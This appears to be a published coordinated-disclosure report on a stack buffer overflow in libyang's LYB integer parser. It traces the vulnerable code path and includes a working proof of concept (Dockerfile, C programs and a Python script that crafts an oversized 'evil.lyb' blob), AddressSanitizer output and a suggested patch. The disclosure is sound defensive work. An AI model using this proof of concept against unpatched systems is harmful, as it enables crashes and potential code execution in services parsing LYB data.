ANT-2026-573F8CSS · cesnet/libyang
stack-buffer-overflow high
Severity Claude high · Security research firm high · Maintainer -
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Ada Logics.
ANT-2026-573F8CSS: Stack buffer overflow storing LYB integer values
In libyang's built-in integer type plugin, lyplg_type_store_int() and lyplg_type_store_uint() declare an 8-byte stack local (int64_t/uint64_t num) and, for LY_VALUE_LYB input, call memcpy(&num, value, value_size). Because all eight int/uint types register .lyb_size = lyplg_type_lyb_size_variable_bits, lyplg_type_check_value_size() applies no upper bound in the LYB+VARIABLE_BITS case (plugins_types.c:569-585), and parser_lyb.c:336 reads the size field directly from the input. An attacker can encode an integer leaf claiming e.g. 2048 bits (256 bytes) of payload; the parser allocates and reads those bytes and memcpy's all of them over the 8-byte stack variable, overwriting saved registers, canary, and return address. This yields RIP control (or at minimum DoS on hardened builds) in any application that parses untrusted LYB instance data.
Target
Project: cesnet/libyang
Location: src/plugins_types/integer.c:70
Discovery: static analysis — not yet dynamically reproduced
Technical Details
For LYB input with VARIABLE_BITS sizing, lyplg_type_check_value_size() (plugins_types.c:564-588) neither hits the FIXED branch nor the %8 branch and only checks BITS2BYTES > UINT32_MAX, so the attacker-supplied size passes through unchanged. integer.c:70/317 then does memcpy(&num, value, value_size) into an 8-byte stack int64_t/uint64_t — a classic attacker-controlled-length, attacker-controlled-data linear stack overwrite. No upper bound exists anywhere along the parser_lyb.c → lyd_value_store → plugin->store path.
Reproduction
- Craft an LYB instance document containing a leaf of any built-in YANG integer type (int8..int64/uint8..uint64).
- Set the leaf's variable-size prefix to a large value (e.g. 2048 bits = 256 bytes) and append 256 bytes of ROP/shellcode payload.
- Deliver the document to the victim (sysrepo datastore file, yanglint input, /import path that accepts LYB).
- parser_lyb.c reads the attacker-controlled size, allocates and fills the payload, and calls the integer plugin store callback.
- memcpy(&num, value, value_size) copies the full payload over the 8-byte stack local, overwriting saved registers / return address.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Suggested Fix
Bound the decoded LYB integer size by the destination C type width (≤ 8 bytes) before the memcpy, and reject any value whose encoded size exceeds the target buffer.
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-573F8CSS.
Reference: ANT-2026-573F8CSS
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Ada Logics. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
This is a vuln report that has been manually verified by David Korczynski from Ada Logics, and has used AI for discovering the vuln.
Summary
The LYB (libyang binary) instance-data parser writes an attacker-controlled,
attacker-sized value over an 8-byte stack local when storing an integer leaf.
Each LYB leaf value carries a length prefix read directly from the input. For the
built-in integer types (int8..int64, uint8..uint64) the store callback
does memcpy(&num, value, value_size) into a stack int64_t num, but
value_size is only bounded against UINT32_MAX — never against the 8-byte
destination. A crafted LYB document declaring an integer value of, e.g., 2048
bits (256 bytes) causes the parser to allocate and read 256 attacker-controlled
bytes and copy all of them over the 8-byte num, smashing the stack frame
(saved registers, canary, return address).
Any application that parses untrusted LYB with libyang is affected (e.g.
sysrepo datastore files, yanglint -f lyb, or NETCONF/RESTCONF/import paths that
accept LYB). Confirmed end-to-end through the public API lyd_parse_data_mem(...,
LYD_LYB, ...) with AddressSanitizer.
Severity
High — CWE-121 (Stack-based Buffer Overflow) / CWE-787 (Out-of-bounds Write).
Linear, forward memcpy with both length and contents attacker-controlled,
reachable by default (integer plugins are built in; the LYB parser is core public
API). Return-address control on non-hardened builds.
Affected versions
Confirmed unpatched on both branches as of 2026-07-01:
- master — HEAD 47351e59e2965e350f9d4098f15ecbe6b3850f6f (the version reproduced against)
- devel — HEAD 8fbe2f5b7b88c21a8ec7b3a88b750f33ddc1b44a (same code path, same missing bound)
The most recent size-limit hardening, commit 72fc9e724957b569a5f02cde9d6431684da4e8fa
("lib BUGFIX check value size limits", Fixes #2497), added the UINT32_MAX
ceiling shown below but does not bound the size against the integer
destination, so the stack overflow remains.
Details
Vulnerable code
src/plugins_types/integer.c (lyplg_type_store_int; identical pattern in
lyplg_type_store_uint at :317):
lyplg_type_store_int(const struct ly_ctx *ctx, const struct lysc_type *type, const void *value,
uint64_t value_size_bits, ...)
{
uint32_t value_size;
int64_t num = 0; // 8-byte destination on the stack
...
/* check value length */
ret = lyplg_type_check_value_size(lys_datatype2str(type->basetype), format, value_size_bits,
LYPLG_LYB_SIZE_VARIABLE_BITS, 0, &value_size, err); // no destination-width bound
LY_CHECK_GOTO(ret, cleanup);
if (format == LY_VALUE_LYB) {
/* copy the integer and correct the byte order */
memcpy(&num, value, value_size); // integer.c:70 — value_size attacker-controlled (up to ~4 GiB)
num = le64toh(num);
}
The integer types register .lyb_size = LYPLG_LYB_SIZE_VARIABLE_BITS. In the
only gate, src/plugins_types.c (lyplg_type_check_value_size), the LYB +
VARIABLE_BITS combination falls through the FIXED-size and byte-rounding
branches, leaving a single ceiling check:
/* VARIABLE_BITS + LYB reaches here having skipped both prior branches */
if (LYPLG_BITS2BYTES(value_size_bits) > UINT32_MAX) { return ...; } // only ceiling: 4 GiB
*value_size = LYPLG_BITS2BYTES(value_size_bits); // e.g. 256
value_size (256) is far above the destination width (8) but is never compared
against it, so the memcpy writes 248 bytes past num.
The size and payload come straight from the wire — src/parser_lyb.c
(lyb_read_value, VARIABLE_BITS branch):
lyb_read_size(&lyb_size_bits, lybctx); // read the size field from input
*val_size_bits = lyb_size_bits;
...
LY_CHECK_ERR_RET(LYPLG_BITS2BYTES(*val_size_bits) >= UINT32_MAX, ...); // 4 GiB guard only
*val = calloc(LYPLG_BITS2BYTES(*val_size_bits) + 1, ...); // allocate the payload
lyb_read(*val, *val_size_bits, lybctx); // fill from input
Root cause
Missing upper bound of the decoded LYB integer value size against the destination
C-type width (≤ 8 bytes). Any size in [9, 0xFFFFFFFF] bytes passes the only
check and is memcpy'd into the 8-byte stack local.
Call path (from AddressSanitizer)
lyd_parse_data_mem src/tree_data.c:217
lyd_parse_data src/tree_data.c:206
lyd_parse src/tree_data.c:132
lyd_parse_lyb src/parser_lyb.c:1768
lyb_parse_siblings src/parser_lyb.c:1624
lyb_parse_node src/parser_lyb.c:1600
lyb_parse_node_leaf src/parser_lyb.c:1429 (reads size via lyb_read_value)
lyb_create_term src/parser_lyb.c:1161
lyd_parser_create_term src/parser_common.c:212
lyd_create_term src/tree_data_new.c:71
lyd_value_store src/tree_data_common.c:509
lyplg_type_store_int src/plugins_types/integer.c:70 <-- memcpy(&num, value, 256) into int64_t num
Impact
A single crafted LYB blob overflows the store_int stack frame with
attacker-chosen length (up to ~4 GiB; 256 B demonstrated) and attacker-chosen
contents. On a non-hardened build this is return-address control; with stack
canaries / FORTIFY it is a reliable process abort (DoS) — and because the copy
size is not a compile-time constant, FORTIFY may not intercept it before
corruption. Reachable from any LYB ingestion path (sysrepo datastore load,
yanglint -f lyb, tooling/servers that import LYB), pre-auth, no user
interaction beyond parsing the blob.
Proof of Concept
One self-contained Docker reproducer. It builds libyang at the affected commit
with AddressSanitizer, generates a legitimate LYB document for
module m { leaf v { type int64; } } (v = 42), inflates the value's size
field to 2048 bits (256 bytes) + appends 256 0x41 bytes, then parses the
crafted blob through the real public API.
Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=47351e59e2965e350f9d4098f15ecbe6b3850f6f
ARG CLANG_VERSION=20
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git make cmake pkg-config libc6-dev libpcre2-dev python3 \
wget gnupg lsb-release software-properties-common \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-${CLANG_VERSION} CXX=clang++-${CLANG_VERSION}
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"
RUN git clone https://github.com/cesnet/libyang /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
RUN mkdir build && cd build && \
cmake -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="${CFLAGS}" \
-DCMAKE_EXE_LINKER_FLAGS="${LDFLAGS}" \
-DCMAKE_SHARED_LINKER_FLAGS="${LDFLAGS}" \
-DENABLE_TESTS=OFF .. && \
make -j"$(nproc)" yang
COPY gen.c parse.c patch.py /tmp/
RUN ${CC} ${CFLAGS} /tmp/gen.c -I/src/repo/src -I/src/repo/build/src -I/src/repo/build \
-L/src/repo/build -lyang -o /tmp/gen ${LDFLAGS} && \
${CC} ${CFLAGS} /tmp/parse.c -I/src/repo/src -I/src/repo/build/src -I/src/repo/build \
-L/src/repo/build -lyang -o /tmp/parse ${LDFLAGS}
ENV LD_LIBRARY_PATH=/src/repo/build
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
CMD ["/bin/sh","-c","/tmp/gen && python3 /tmp/patch.py && echo '--- parsing crafted LYB ---' && /tmp/parse /tmp/evil.lyb 2>&1; echo EXIT=$?"]
gen.c — builds a legitimate LYB document (regenerated at build time so the
module hashes match any commit)
/* Build a legitimate LYB document for module `m` with int64 leaf v=42. */
#include <libyang/libyang.h>
#include <stdio.h>
int main(void) {
struct ly_ctx *ctx = NULL;
if (ly_ctx_new("/src/repo/modules", LY_CTX_NO_YANGLIBRARY, &ctx)) { printf("ctx fail\n"); return 1; }
const char *mod = "module m{namespace \"urn:m\";prefix m;leaf v{type int64;}}";
if (lys_parse_mem(ctx, mod, LYS_IN_YANG, NULL)) { printf("mod fail\n"); return 1; }
struct lyd_node *tree = NULL;
const char *xml = "<v xmlns=\"urn:m\">42</v>";
if (lyd_parse_data_mem(ctx, xml, LYD_XML, LYD_PARSE_ONLY, 0, &tree)) { printf("parse xml fail\n"); return 1; }
FILE *f = fopen("/tmp/d.lyb", "wb");
if (lyd_print_file(f, tree, LYD_LYB, 0)) { printf("print fail\n"); return 1; }
fclose(f);
printf("gen done\n");
return 0;
}
patch.py — inflates the integer value's size field and appends the payload
#!/usr/bin/env python3
# Inflate the int64 leaf's LYB variable-bits size field from 6 bits (1 byte,
# value 0x2a) to 2048 bits (256 bytes) and append a 256-byte payload.
# Layout of the legit blob /tmp/d.lyb (non-shrink mode):
# [16-byte header] [4-byte LE size_bits] [value bytes] [1-byte sibling terminator]
import struct
data = open('/tmp/d.lyb', 'rb').read()
assert len(data) == 22, ("unexpected legit LYB length %d: %s" % (len(data), data.hex()))
header = data[:16]
size_field = data[16:20]
assert struct.unpack('<I', size_field)[0] == 6, size_field.hex() # 6 bits == 1 byte
trailer = data[21:] # everything after the single value byte
evil = header + struct.pack('<I', 2048) + (b'\x41' * 256) + trailer
open('/tmp/evil.lyb', 'wb').write(evil)
print("evil.lyb: %d bytes (size_bits=2048 -> 256-byte value into 8-byte stack num)" % len(evil))
parse.c — parses the attacker-supplied LYB via the public API
/* Parse an attacker-supplied LYB instance document, exactly as any application
* ingesting untrusted LYB would (sysrepo datastore load, yanglint -f lyb, a
* <copy-config>/import path). */
#include <libyang/libyang.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
struct ly_ctx *ctx = NULL;
if (ly_ctx_new("/src/repo/modules", LY_CTX_NO_YANGLIBRARY, &ctx)) { printf("ctx fail\n"); return 1; }
const char *mod = "module m{namespace \"urn:m\";prefix m;leaf v{type int64;}}";
if (lys_parse_mem(ctx, mod, LYS_IN_YANG, NULL)) { printf("mod fail\n"); return 1; }
FILE *f = fopen(argv[1], "rb");
if (!f) { printf("open fail\n"); return 1; }
fseek(f, 0, SEEK_END); long n = ftell(f); fseek(f, 0, SEEK_SET);
char *buf = malloc(n + 1);
if (fread(buf, 1, n, f) != (size_t)n) { printf("read fail\n"); return 1; }
buf[n] = 0; fclose(f);
struct lyd_node *tree = NULL;
LY_ERR r = lyd_parse_data_mem(ctx, buf, LYD_LYB, LYD_PARSE_ONLY | LYD_PARSE_STRICT, 0, &tree);
printf("parse lyb result=%d tree=%p\n", r, (void *)tree);
return 0;
}
Run
docker build -t libyang-lyb-int-overflow .
docker run --rm libyang-lyb-int-overflow
Observed output (AddressSanitizer)
gen done
evil.lyb: 277 bytes (size_bits=2048 -> 256-byte value into 8-byte stack num)
--- parsing crafted LYB ---
=================================================================
==8==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x725883c9b938 at pc 0x59774135ec32 bp 0x7ffd16a0dc50 sp 0x7ffd16a0d410
WRITE of size 256 at 0x725883c9b938 thread T0
#0 in __asan_memcpy
#1 in lyplg_type_store_int /src/repo/src/plugins_types/integer.c:70:9
#2 in lyd_value_store /src/repo/src/tree_data_common.c:509:9
#3 in lyd_create_term /src/repo/src/tree_data_new.c:71:11
#4 in lyd_parser_create_term /src/repo/src/parser_common.c:212:5
#5 in lyb_create_term /src/repo/src/parser_lyb.c:1161:10
#6 in lyb_parse_node_leaf /src/repo/src/parser_lyb.c:1429:10
#7 in lyb_parse_node /src/repo/src/parser_lyb.c:1600:14
#8 in lyb_parse_siblings /src/repo/src/parser_lyb.c:1624:18
#9 in lyd_parse_lyb /src/repo/src/parser_lyb.c:1768:10
#12 in lyd_parse_data_mem /src/repo/src/tree_data.c:217:11
#13 in main /tmp/parse.c:23:16
Address 0x725883c9b938 is located in stack of thread T0 at offset 56 in frame
#0 lyplg_type_store_int /src/repo/src/plugins_types/integer.c:52
This frame has 4 object(s):
[32, 36) 'value_size' (line 54)
[48, 56) 'num' (line 55) <== 8-byte destination; the 256-byte memcpy starts here
[80, 84) 'base' (line 56)
[96, 104) 'canon' (line 57)
SUMMARY: AddressSanitizer: stack-buffer-overflow /src/repo/src/plugins_types/integer.c:70:9 in lyplg_type_store_int
==8==ABORTING
EXIT=134
A plain (non-ASan) build instead aborts with *** stack smashing detected ***,
independently confirming canary / return-address corruption.
Suggested fix
Bound the decoded LYB integer size by the destination width before the memcpy,
in both lyplg_type_store_int and lyplg_type_store_uint:
if (format == LY_VALUE_LYB) {
/* copy the integer and correct the byte order */
+ if (value_size > sizeof(num)) {
+ ret = ly_err_new(err, LY_EVALID, LYVE_DATA, NULL, NULL,
+ "Invalid %s LYB value size %u B (max %zu B).",
+ lys_datatype2str(type->basetype), value_size, sizeof(num));
+ LY_CHECK_GOTO(ret, cleanup);
+ }
memcpy(&num, value, value_size);
num = le64toh(num);
}
A more central fix would teach lyplg_type_check_value_size to accept and
enforce a per-type maximum byte width for the VARIABLE_BITS + LYB case.
Fix verification: with the guard applied, the same crafted blob is rejected
(lyd_parse_data_mem returns LY_EVALID) instead of crashing — verified by
re-running the identical PoC against a patched build.
References
- Vulnerable code:
src/plugins_types/integer.c:70(and:317); gatesrc/plugins_types.c(lyplg_type_check_value_size); size readsrc/parser_lyb.c(lyb_read_value). - Prior partial hardening: commit
72fc9e724957b569a5f02cde9d6431684da4e8fa(Fixes #2497). - Distinct from GHSA-vw2p-pq79-92xh (
lyb_read_string, heap overflow). - CWE-121 (Stack-based Buffer Overflow), CWE-787 (Out-of-bounds Write).
Attribution
please credit Claude and Ada Logics — found by Anthropic using agents to study the security of open-source projects, with Ada Logics validating and reporting.
Disclosure timeline
This report follows a 90-day coordinated disclosure timeline following the policy here: https://www.anthropic.com/coordinated-vulnerability-disclosure
Recorded dates, in order.
- 2026-04-02 Discovered or logged
- 2026-07-22 Sent to maintainer
- 2026-07-22 Maintainer acknowledged
- 2026-07-22 Patch released
- 2026-09-28 Publicly revealed
SHA-3-512 hash:
c22eedcdd22e59927b0d2b2b9ef9126022be8d303afe3192f0994fe7ed95547c918973f88184de661c1e6665ca9be56301f02f4c1cdaaca0677204f48d119698
Committed 2026-07-22 07:29 UTC
Revealed 2026-09-28 22:27 UTC
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-573F8CSS",
"bug_class": "Memory Corruption / Stack Buffer Overflow",
"claude_severity": "high",
"commit_sha": null,
"created_at": "2026-04-16T01:48:28+00:00",
"description": "In libyang's built-in integer type plugin, lyplg_type_store_int() and lyplg_type_store_uint() declare an 8-byte stack local (int64_t/uint64_t num) and, for LY_VALUE_LYB input, call memcpy(&num, value, value_size). Because all eight int/uint types register .lyb_size = lyplg_type_lyb_size_variable_bits, lyplg_type_check_value_size() applies no upper bound in the LYB+VARIABLE_BITS case (plugins_types.c:569-585), and parser_lyb.c:336 reads the size field directly from the input. An attacker can encode an integer leaf claiming e.g. 2048 bits (256 bytes) of payload; the parser allocates and reads those bytes and memcpy's all of them over the 8-byte stack variable, overwriting saved registers, canary, and return address. This yields RIP control (or at minimum DoS on hardened builds) in any application that parses untrusted LYB instance data.",
"discovered_at": "2026-04-02T00:00:00+00:00",
"location": "src/plugins_types/integer.c:70",
"poc_sha256": null,
"preimage_version": 1,
"project": "cesnet/libyang",
"reproduction": [
"1. Craft an LYB instance document containing a leaf of any built-in YANG integer type (int8..int64/uint8..uint64).",
"2. Set the leaf's variable-size prefix to a large value (e.g. 2048 bits = 256 bytes) and append 256 bytes of ROP/shellcode payload.",
"3. Deliver the document to the victim (sysrepo datastore file, yanglint input, <copy-config>/import path that accepts LYB).",
"4. parser_lyb.c reads the attacker-controlled size, allocates and fills the payload, and calls the integer plugin store callback.",
"5. memcpy(&num, value, value_size) copies the full payload over the 8-byte stack local, overwriting saved registers / return address."
],
"technical_details": "For LYB input with VARIABLE_BITS sizing, lyplg_type_check_value_size() (plugins_types.c:564-588) neither hits the FIXED branch nor the %8 branch and only checks BITS2BYTES > UINT32_MAX, so the attacker-supplied size passes through unchanged. integer.c:70/317 then does memcpy(&num, value, value_size) into an 8-byte stack int64_t/uint64_t — a classic attacker-controlled-length, attacker-controlled-data linear stack overwrite. No upper bound exists anywhere along the parser_lyb.c → lyd_value_store → plugin->store path.",
"title": "Stack buffer overflow storing LYB integer values",
"vendor_severity": "high"
}